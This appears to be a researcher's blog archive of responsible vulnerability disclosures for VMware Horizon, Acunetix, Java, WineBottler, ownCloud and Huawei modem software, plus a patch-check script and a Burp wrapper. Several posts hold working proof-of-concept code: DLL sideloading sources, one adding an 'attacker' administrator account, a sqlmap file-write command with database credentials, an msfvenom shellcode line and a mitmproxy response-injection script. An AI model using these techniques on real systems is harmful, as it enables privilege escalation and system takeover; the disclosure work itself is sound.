florian

Jul 102017
 

In this blog post I want to discuss a code injection vulnerability in VMware Horizon‘s macOS Client Version 4.4.0 (5164329) that can be abused to gain local root privileges. The good news is, that it has already been fixed in the latest available version. I found it after learning about the “Open VMware View Client Services” SUID binary on my Mac.

I think it is used internally by Horizon’s remote USB services and is only exploitable after they have been started once by entering administrative credentials.

To investigate the binary further, I used the newly released Fireeye application Monitor.app. It basically is Process Monitor (procmon) for macOS.

Based on the activities as captured by Monitor.app it was clear that “Open VMware View Client Services” was basically a wrapper around “services.sh”. This makes sense as the SUID bit is ignored for script files.

After taking a closer look at this script, I identified the highlighted line in the following screenshot as a starting point for a possible code injection vulnerability. Although I had no idea about the inner workings of “./vmware-usbarbitrator” this binary was immediately my focus for further investigations. The reason for this is that I – as a non-admin user – am able to set the content of the environment variable VMWARE_VIEW_USBARBITRATOR_LOG_OPTIONS – that is used in an SUID executed script. 

After taking a closer look at the possible command line options I was pretty sure I could abuse this setup to load a custom kernel extension by abusing the –kext flag. 

However, there are two further problems:

  1. Kernel Extensions are only loaded if they are owned by root : wheel
  2. Additionally, KEXTs the have to be signed by Apple.

In the course of this LPE I will ignore issue #2. Hence, I disabled SIP.

So let’s focus on issue #1. To successfully load a kernel extension the binary has to be owned by root : wheel. However, for a normal user it is impossible to set this file system permissions on a any local file. Luckily, I had already invested plenty of time to learn about the In’s and Out’s of file systems at Tools On Air. So I knew, the only thing I had to do was to abuse NFS. This is possible because NFS allows the server to specify the file system permissions, even if mounted by a user. Any other local or remote file system I know of, ignores files owned by root in some way. So my next step was to simply export a remote folder (on my Kali Linux I always carry around with me) using NFS…

… and mount it using Finder’s “Connect to Server”.

After creating a simple KEXT …

and updating the Info.plist file to meet the requirements (simply add a dictionary “IOKitPersonalities”) we are ready! 

After copying this KEXT to the NFS server and adapting its permissions to meet the “root:wheel” requirement, we are finally able to start the real exploitation.

To do so simply set the “VMWARE_VIEW_USBARBITRATOR_LOG_OPTIONS” environment variable to our previously create KEXT and run “Open VMware View Client Services”. This is enough to load it!

Hence, we gained code execution from a normal user’s account within the kernel context!

Suggested Solution

Filter or clear the environment variables VMWARE_VIEW_USBARBITRATOR_LOG_OPTIONS and VMWARE_VIEW_USBD_LOG_OPTIONS.

Disclosure Timeline

21-04-2017: The issues has been documented and reported
24-04-2017: VMware started investigating
06-06-2017: Fix ready
08-06-2017: Updated Horizon version 4.5 alongside security advisory VMSA-2017-0011 released

May 282017
 

This time I want to discuss another local privilege escalation vulnerability in the web vulnerability scanner Acunetix 11. It can be abused by any local user to gain full control over the system. It has been verified for Acunetix Trail 11.0.163541031 on a fully patched english Windows 7 64-bit.

The underlying issue is that the installed Acunetix PostgresSQL database server can be hijacked by using two different methods. As this database server is running as Local System it can be further abused to write arbitrary files. This in turn can be exploited to gain full control over the system using DLL sideloading.

Gaining access to the database #1

As stated, there are two different methods to gain access to the PostgresSQL server. The first one is very simple: just connect to it. This is possible because the local address is configured as trusted in the configuration file C:\ProgramData\Acunetix 11 Trial\db\pg_hba.conf.

Gaining access to the database #2

The second method is as simple: The user-readable configuration file C:\ProgramData\Acunetix 11 Trial\settings.ini contains the cleartext credentials for the database server.

Abusing the database access

Both methods can be used to connect to the database. The easiest way to abuse this access is to use sqlmap. This setup allows one to write files to arbitrary locations. To finally gain full control over the system I analysed the Acunetix service application. This revealed, as shown in the screenshot below, that the Windows library version.dll is not only loaded from the system directory, but also from the application’s current working directory.

Hence, I built a library mimicking the real Windows DLL version.dll. However, instead of providing any real functionality, it simply creates a new file on the system drive’s root. You can download the full source code and a precompiled version here.

Using the following sqlmap command this DLL can then be placed into the folder C:\Program Files (x86)\Acunetix 11 Trial\11.0.163541031.

C:\Python27\python.exe sqlmap.py -d "PostgreSQL://wvs:iRk2mQ3GNVqldjhgeGvMj7UNtd3oUmXT@127.0.0.1:45432/wvs" --dbs --file-write version.dll --file-dest "C:\Program Files (x86)\Acunetix 11 Trial\11.0.163541031\version.dll"

The following screenshots illustrates the upload process.

Now simply navigate to C:\Program Files (x86)\Acunetix 11 Trial\11.0.163541031 and verify that the file version.dll has been added.

After a reboot the DLL will be loaded by the highly privileged Windows service Acunetix Trial and the file C:\this_should_not_work.txt will be created.

Proof of Concept

To confirm this issue yourself install Acunetix Trail 11.0.163541031 and download the precompiled version of the proof of concept exploit.

After that, install Python 2.7, pip using get-pip.py and sqlmap (including its dependencies). Then – as a non admin user – follow the instructions of this post to verify the vulnerability.

Suggested solution

The database server should be secured: This means that the configuration file pg_hba.conf should be updated so that the local system should not be considered as trusted anymore and the database configuration file should be secured from unauthorised access using the filesystem ACLs.

An even better idea would be to use an unprivileged user to run the database server in the first place.

Timeline

  • 9.1.2017: The issues has been documented and reported
  • 31.3.2017: Asked for update
  • 4.4.2017: Fixed version (build 11.0.170941159) has been released
  • 28.5.2017: Public disclosure
May 282017
 

This post is about a privilege escalation vulnerability in the web vulnerability scanner Acunetix 11. It can be abused by any local user to gain full control over the system. It has been verified on a fully patched english Windows 7 x64 running Acunetix Trail 11.0.163541031.

The underlying issue is that a subprocess (opsrv.exe) of the automatically launched Windows Service “Acunetix Trial” tries to load the DLL C:\DLLs\python3.dll.

Although this path does not exist by default it can be created by any local user. This is possible because the filesystem ACLs of the system drive allow anyone to create new subfolders.

With that knowledge I created a new DLL that mimics the expected exports of the real python3.dll. However, instead of providing any real functionality it simply creates a new file on the C: drives root. This in turn is only possible for administrators and proofs the we gained full control over the system. You can download the full source here.

/* 
	Implement DLLMain with common datatypes so we don't have to include windows.h. 
	Otherwise this would cause several compile errors because of the already known but reexported functions.
*/
int DllMain(void* hinst, unsigned long* reason, void* reserved) {
	system("cmd /c \"date > C:\\this_should_not_work.txt\"");
	exit(1);
	return 0;
}

After compiling it into a DLL I stored it (logically with a standard User account) as C:\DLLs\python3.dll.

After a reboot the DLL was loaded by the highly privileged Windows service Acunetix Trial and the file C:\this_should_not_work.txt was created.

 

Proof of Concept

To confirm this issue yourself install Acunetix Trail 11.0.163541031 and download the precompiled version of the proof of concept exploit.

After that, as a non-admin user, create the folder C:\DLLs and place the library python3.dll therein. Now simply reboot the system. After that a new file C:\this_should_not_work.txt has been created. This proof that full SYSTEM level access has been gained.

Suggested solution

All external dependencies should only be loaded from secure locations.

Timeline

  • 5.1.2017: The issue has been documented and reported
  • 6.1.2017: The issue has already been escalated to R&D
  • 31.3.2017: Asked for update
  • 4.4.2017: Fixed version (build 11.0.170941159) has been released
  • 28.5.2017: Public disclosure
May 142017
 

UPDATE (16.05.2017 @ 21:06): This script should now work for all operating systems up to the current Windows 10 / Server 2016 build 14393.1198

UPDATE (15.05.2017 @ 22:15): There have been several reports that this script did not work on some Windows 2008 and 2016 servers. This was related to Get-HotFix, as it misses some installed updates. Hence, I added a second method to fetch all installed fixes… I guess this should be more stable…

Because of the current situation regarding WannaCry, I needed a simple solution to check if a system has already been patched against all the issues fixed in MS17-010. However, as there are different KB’s for the different operating systems, this is a lot more difficult than I first thought.

Hence, I updated a script I found on the internet so that it can be simply pasted into a PowerShell to check a system.

# Copy and paste this to a Powershell Window to check if MS17-010 has already been installed on this system

function checkForHotFix
{
 Write-Host "[*] MS17-010 Checker"
 Write-Host "[*] ++++++++++++++++++++++++++++++++++++++++++"
 Write-Host "[*] Starting check"

 # based on https://www.poweradmin.com/blog/how-to-check-for-ms17-010-and-other-hotfixes/
 # and on http://tomtalks.uk/2013/09/list-all-microsoftwindows-updates-with-powershell-sorted-by-kbhotfixid-get-microsoftupdate/

 # To find all Hotfixes of a security update copy the page content and
 # use http://regexr.com/ with the regex KB[0-9]{7} to extract them

 $hotfixes = "KB4013429","KB4012606","KB4013198","KB4012598","KB4012598","KB4012598","KB4012598","KB4012598","KB4012212","KB4012215","KB4012212","KB4012215","KB4012213","KB4012216","KB4012214","KB4012217","KB4012213","KB4012216","KB4012606","KB4013198","KB4013429","KB4013429","KB4016871", "KB4019472"

 Write-Host "[*] Querying installed HotFixes using method 1"
 $wu = new-object -com “Microsoft.Update.Searcher”
 
 $totalupdates = $wu.GetTotalHistoryCount()
 $all = $wu.QueryHistory(0,$totalupdates)
 
 # Define a new array to gather output
 $UpdateCollection= @()
 
 Foreach ($update in $all)
 {
 $string = $update.title
 
 $Regex = “KB\d*”
 $KB = $string | Select-String -Pattern $regex | Select-Object { $_.Matches }
 
 $output = New-Object -TypeName PSobject
 $output | add-member NoteProperty “HotFixID” -value $KB.‘ $_.Matches ‘.Value
 $output | add-member NoteProperty “Title” -value $string
 $UpdateCollection += $output
 
 }

 Write-Host "[*] Querying installed HotFixes using method 2" 
 Foreach ($hotfix in Get-Hotfix)
 {
 $output = New-Object -TypeName PSobject
 $output | add-member NoteProperty “HotFixID” -value $hotfix.HotFixID
 $output | add-member NoteProperty “Title” -value $hotfix.Description
 $UpdateCollection += $output 
 }
 
 Write-Host "[*] Check if any suitable HotFix was found"
 if ($UpdateCollection | Where-Object {$hotfixes -contains $_.HotfixID}) {
 $hotfixID = $UpdateCollection | Where-Object {$hotfixes -contains $_.HotfixID} | Select-Object -first 1 "HotFixID"
 Write-Host "[+] Hotfix"$hotfixID.HotFixID"installed - System is secure!" -foreground "green"
 } else {
 Write-Host "[-] No Hotfix found - System vulnerable!" -foreground "red"
 }
}
cls
checkForHotFix

# Also copy this comment - This makes it "autorun"

If a system has already been patched it looks like this:

If not, well there is a warning:

Maybe it’s of use for someone else…

Acknowledgment:

  • Thanks to Markus for pointing out a missing KB
  • Thanks to Hannes for spotting a typing error that caused the script to always report “vulnerable” even on patched systems.
  • Thanks to Dustin (see comments) for pointing out another missing KB
Apr 192017
 

This blog post is about a DLL sideloading vulnerability in the 64bit Windows version of Oracle Java. It allows any local user to inject code in Java processes of other users. At the time of writing it has been verified with the latest stable 64bit Java version 1.8.0_101 on both a fully patched Windows 7 and a fully patched Windows 2008R2 operating system. The issue is not triggered by all Java application, however Burp and the 32bit version of Angry IP Scanner have been verified to be vulnerable. I think it depends on the imported frameworks if an application triggers the problem.

Technically, the issue is that DLLs (namely sunec.dll and sunmscapi.dll) are loaded from the non-existing folder C:\Program%20Files\Java\jre[version]\lib\ext. This is most likely caused by some kind of encoding issue as %20 represents an URL-encoded space.

Screen Shot 2016-08-08 at 14.38.24

As any local user is allowed to append new folders to the C: drive’s root, the Program%20Files folder can be created.

Screen Shot 2016-08-08 at 14.39.36

Thereby, any local user can place a malicious DLL into C:\Program%20Files\Java\jre1.8.0_101\lib\ext. I verified this myself by building a simple placeholder DLL.

Screen Shot 2016-08-08 at 14.40.05

After launching Burp the DLL got loaded and executed. The screenshot below shows the opened dialog.

Screen Shot 2016-08-08 at 14.40.22

As the newly created Program%20Files folder is located on the drive’s root, this issue affects any local user. Thereby code can be injected into other user’s Windows sessions. Additionally if any vulnerable Java application is running as privileged application (SYSTEM, local admin, domain admin) this issue can also be used to escalate one’s permissions vertically.

Video

Here is a video illustrating the attack:

Suggested solution

Update to the latest version.

Timeline

Oct 172016
 

As many of you may know I’m an OS X guy. I have been using it since many years and I’m pretty happy with it! However this also makes this vulnerability something special: It’s the first time I’m disclosing a vulnerability affecting an OS X application! Here it goes…

A few weeks ago I thought about using WineBottler (in the current then version 1.8-rc4) – a graphical Wine front-end for OS X – to build myself a KeePass OS X application. However, after LittleSnitch informed me that WineBottler tried to connect to winetricks.org using unsecured HTTP, I got a little skeptical: What is WineBottler downloading from there?

Screen Shot 2016-06-02 at 13.48.22

So I launched Burp and started to analyse the HTTP network traffic. Thereby I discovered the following request to http://winetricks.org/winetricks.

3 vulnerable request detail

Further investigation showed that after a redirect, a Terminal script is served over HTTPS from there. However as the first request is initiated using unencrypted HTTP we can intercept and modify all further requests.

An attacker can thereby modify the unsecured HTTP connection using a man-in-the-middle attack. This can be carried out by using for example ARP spoofing or by providing a malicious “free” Wifi hotspot.

Anyhow, by replying to the initial request with a valid Terminal script, remote commands can be injected.

5 modified response

As the script is also immediately executed this is a reliable way to overtake a system as shown below.

6 rce

As I had a little time spare, I automated the attack using mitmproxy and the following custom script named “drunken_winebottler.py”.

from mitmproxy.models import decoded

NEWLINE = '\r\n'

def response(context, flow):
    if flow.request.url == "http://winetricks.org/winetricks" and flow.response.status_code == 301 and flow.request.method=="GET":
        flow.response.status_code=200 # overwrite 301 status code to 200
        
        with decoded(flow.response):  # automatically decode gzipped responses.
            flow.response.content =  "" # replace original script to launch Calculator.app
            flow.response.content += '#!/bin/sh'+NEWLINE
            flow.response.content += '/usr/bin/open /Applications/Calculator.app'

Simply launch mitmproxy using the following command and redirect all HTTP traffic to it (either by using ARP spoofing or by simply setting a manual proxy for testing).


./mitmproxy -s drunken_winebottler.py

Tada, after launching WineBottler the script is downloaded and executed. Calculator.app is executed to proof that remote code execution has been gained.

Screen Shot 2016-06-02 at 14.27.30

What about the Bundles itself?

The next logical step was to verify the bundles that have been created using WineBottler. “Bundles” are basically Windows applications wrapped by WineBottler so that you can use them as if they were OS X applications. I verified that they are also affected by this issue. However I think they only download and run winetricks on their first launch. This in turn greatly limits the attack surface.

Video

To demonstrate the attack here’s a video showing the above mitmproxy script in action.

Suggested solution

All request should be carried out over encrypted communication channels like HTTPS. The author already mentioned that he is planing to do so in the future. Maybe this issue speeds up this process.

Screen Shot 2016-06-02 at 14.33.06

Workaround

As blocking the request to winetricks.org stalls WineBottler I can think of no reliable way to work around this issue. If you have any ideas I would love to hear them.

Timeline

  • 29.5.2016: The issue has been discovered
  • 30.5.2016: Tried to establish initial contact with the developer using Facebook
  • 31.5.2016: Requested CVE number; Retried to contact developer using Facebook
  • 1.6.2016: MITRE declined CVE: The product is not covered.
  • 2.6.2016: Created this documentation; Sent to developer using mail
  • 18.6.2016: Developer responded on Facebook
  • 20.6.2016: Developer promised that Winetricks update will be switched to HTTPS. Agreed on the 29.7. for the public disclosure
  • 25.7.2016: Tried to contact developer as no new version has been released – no success
  • 29.7.2016: Initially agreed public disclosure date – rescheduled
  • 31.7.2016: Tried again to contact developer – again no success.
  • 13.8.2016: Tried a last time to get in touch with the developer – again no success
  • 17.10.2016: Public disclosure altough unfixed: Developer unresponsive
Aug 172016
 

In this post I want to disclose an arbitrary code injection vulnerability in ownCloud’s Windows client. It allows any local user to inject and execute code in other user’s ownCloud client processes. It has been verified on a fully patched English Windows 7 64bit operating system running the latest ownCloud Desktop client version 2.2.2 (build 6192).

The underlying issue is that the ownCloud desktop client tries to load QT extensions from C:\usr\i686-w64-mingw32\sys-root\mingw\lib\qt5\plugins.

Screen Shot 2016-07-31 at 19.56.10

As any authenticated user on Windows is allowed to create new folders within C:, the expected folder structure can be created.

Screen Shot 2016-07-31 at 19.57.19

What that means is that a local attacker can create a malicious QT extensions that gets automatically loaded on the next launch of the ownCloud Desktop client.

To verify the issue I first tried to simply create a new QT imageformats plugin. However I failed! Have you ever tried to install QT? So I decided to simply modify an existing DLL.

To do so I used Dependency Walker to learn more about the exported functions of QT’s qwindows.dll platform library. Luckily there are only two, so its quite easy to find one that is used and executed. After that I disassembled the library using Hopper so I could learn more about the implementation details.

Screen Shot 2016-07-31 at 18.53.36

With that knowledge I planned to modify the DLL so that it shows a simply message box. The necessary shellcode was created with Metasploit:

msfvenom -a x86 --platform windows -p windows/messagebox TEXT="DLL Loaded" EXTIFUNC=process -f raw > shellcode
cat shellcode |xxd -p

I then overwrote some bytes of the qt_plugin_instance function (one of the previously identified DLL entry points) with the shellcode. If you are interested you can download the modified library here.

Screen Shot 2016-07-31 at 19.36.06

After placing the modified payload DLL into C:\usr\i686-w64-mingw32\sys-root\mingw\lib\qt5\plugins\platforms the shellcode got executed by simply launching the ownCloud desktop client.

Screen Shot 2016-07-31 at 20.27.50

As already discussed, this issue enables any local attacker to execute code in Windows sessions of other local ownCloud users.

Video

Here is a video illustrating the attack:

Suggested solution

Extensions should only be loaded from secure locations.

Timeline

  • 31.7.2016: The issues have been documented and reported
  • 4.8.2016: ownCloud verified the issue and started to work on a fix
  • 5.8.2016: Patch has been developed and I verified that the issue has been fixed
  • 8.8.2016: ownCloud Desktop Client 2.2.3 with the fix has been publicly released
  • 17.8.2016: ownCloud Security Advisory oC-SA-2016-016 has been published
  • 17.8.2016: Public disclosure

Final note

It was a real pleasure to work with the ownCloud Security Team. They really take security seriously.

Aug 112016
 

BurpFor my daily work as a pentester and especially during my recently taken OSCP exam PortSwigger’s Burp Suite was and still is an invaluable tool. Beside many other things it allows one to intercept web traffic between one’s browser and a web server. Thereby web request can be reviewed or even modified. You can check out the homepage for more details.

However, under OS X there are two quirks that drive me crazy. Both are not directly related to Burp itself, but to the fact that it is distributed as a Java Archive (jar).

burp_jar1The first is, JARs are simply not considered first-class applications any more. That means they can’t be pinned to the Dock (the part to the right of the spacer simply does not count!) and they are categorized not as Applications but within the Developer section.

The second issue is that the generic JAR icon is used. As I’m often running more than one Java process it is impossible to differ them only from looking at the Dock.

To fix this issues I built Burp.app: A small AppleScript wrapper around the original Burp Java Archive. It smells, feels and behaves more like a native OS X application but still runs the unmodified JAR in the background.

Simply download the latest version from Github and put it into the Applications folder. Then download the lastest available Burp version and drop it onto Burp.app. Thereby this version is wrapped into the application. This process can also be used to update the currently wrapped version. After that you can delete the JAR and enjoy your new OS X version of Burp.

The following screenshot shows Burp.app in fully glory.

Screen Shot 2016-08-11 at 18.08.49

I already actively used Burp.app for more than a year. However, if you encounter any bugs or if you have any suggestions just let me know using the comments below.

May 122016
 

During a recent security audit I discovered a flaw in Huawei’s Mobile Broadband HL Service that is used by their 3G/LTE modems to automatically connect to the cellular network. A local attacker can abuse this issue to gain full SYSTEM level access. It has been reproduced with two fully updated Huawei 3G/LTE modems namely the Huawei E3533 and the Huawei E5373. However, I guess more devices are vulnerable.

hw_374164

Furthermore I also expect quite a large number of  systems to be affected as the service itself is installed automatically and Huawei modems are widely adopted. The issue was reported to and verified by Huawei. It affected all tested versions up to the current 22.001.25.00.03 on x86 and x64. The installed release can be checked from within the “Programs and Features” Control Panel. If you want to verify the issue by yourself you can download a vulnerable service version from here. However please be aware that I don’t host this download myself so only install it on your analysis system for testing purposes.

Screen Shot 2016-03-14 at 09.04.39

The actual vulnerability is caused by the Windows service “Mobile Broadband HL Service”.

Screen Shot 2016-03-06 at 08.40.46

The parent folder of the service’s mbbService.exe application (C:\ProgramData\MobileBrServ) has its filesystem ACLs not properly secured, thus allowing all users to create and append files:

Screen Shot 2016-03-06 at 20.32.10

This can be abused by creating a malicious DLL that gets loaded and executed on boot with SYSTEM privileges. This is attack type is called DLL side loading. To do so we don’t even have to use Dynamic-Link Library Redirection as the library VERSION.dll is also searched for within the service installation directory (discovered using Process Monitor):

Screen Shot 2016-03-06 at 20.37.58

We simply have to develop a DLL that exports all three required functions as identified by Dependency Walker and drop it into C:\ProgramData\MobileBrServ as VERSION.dll.

Screen Shot 2016-03-06 at 20.41.06

I wrote the following library to do the job. It exports the three expected functions (GetFileVersionInfoA, GetFileVersionInfoSizeA, VerQueryValueA) without providing any real functionality. However as soon as it is loaded into a process, the DLLMain entry point function is executed and a new user “attacker” is added to the system.

#include <process.h>

/* 
	To compile 32bit dll:
	cl.exe /D_USRDLL /D_WINDLL version.cpp /link /DLL /OUT:version.dll
*/

/* export all required functions - use Dependency Walker to check what is needed */
extern "C"
  {
   __declspec(dllexport) int GetFileVersionInfoA();
   __declspec(dllexport) int GetFileVersionInfoSizeA();
   __declspec(dllexport) int VerQueryValueA();
  }

/* 
	Implement DLLMain with common datatypes so we don't have to include windows.h. 
	Otherwise this would cause several compile errors because of the already known but reexported functions.
*/
int DllMain(void* hinst, unsigned long* reason, void* reserved) {
	system("cmd /c \"echo>%tmp%\\dll_loaded\""); // cmd /c "echo>%tmp%\dll_loaded"
	system("net user attacker Batman42 /add");
	system("net localgroup Administrators attacker /add");

	return 0;
}

/* Implement stubs of our exports */
int GetFileVersionInfoA() {
    return 0;
}

int GetFileVersionInfoSizeA() {
    return 0;
}

int VerQueryValueA() {
    return 0;
}

After compiling it I put it into the mbbService’s parent directory.
Screen Shot 2016-03-06 at 20.48.41
As soon as the machine is rebooted the user attacker is added and we gained full access to the machine:
Screen Shot 2016-03-06 at 20.51.18

Video

The following video demonstrates the attack.

Suggested solution

The correct solution to prevent this attack is so change the filesystem ACLs so that normal users are prohibited from creating files and directories within the C:\ProgramData\MobileBrServ folder.

Workaround

Until Huawei pushes a fix the filesystem ACLs should be updated manually to prevent normal users to write anything into the service directory (C:\ProgramData\MobileBrServ). This can be automated using icacls.exe.

Disclosure Timeline

  • 6.3.2016 @ 10:00: Issue privately reported to Huawei
  • 6.3.2016 @ 21:00: CVE number requested
  • 7.3.2016 @ 06:00: MITRE assigned CVE-2016-2855
  • 14.3.2016 @ 11:00: Huawei verified the issue and is working on a fix
  • 9.5.2016 @ 06:00: Huawei informed me that the issue has been fixed in their latest release. However it is up to the carriers to push the fix to the devices.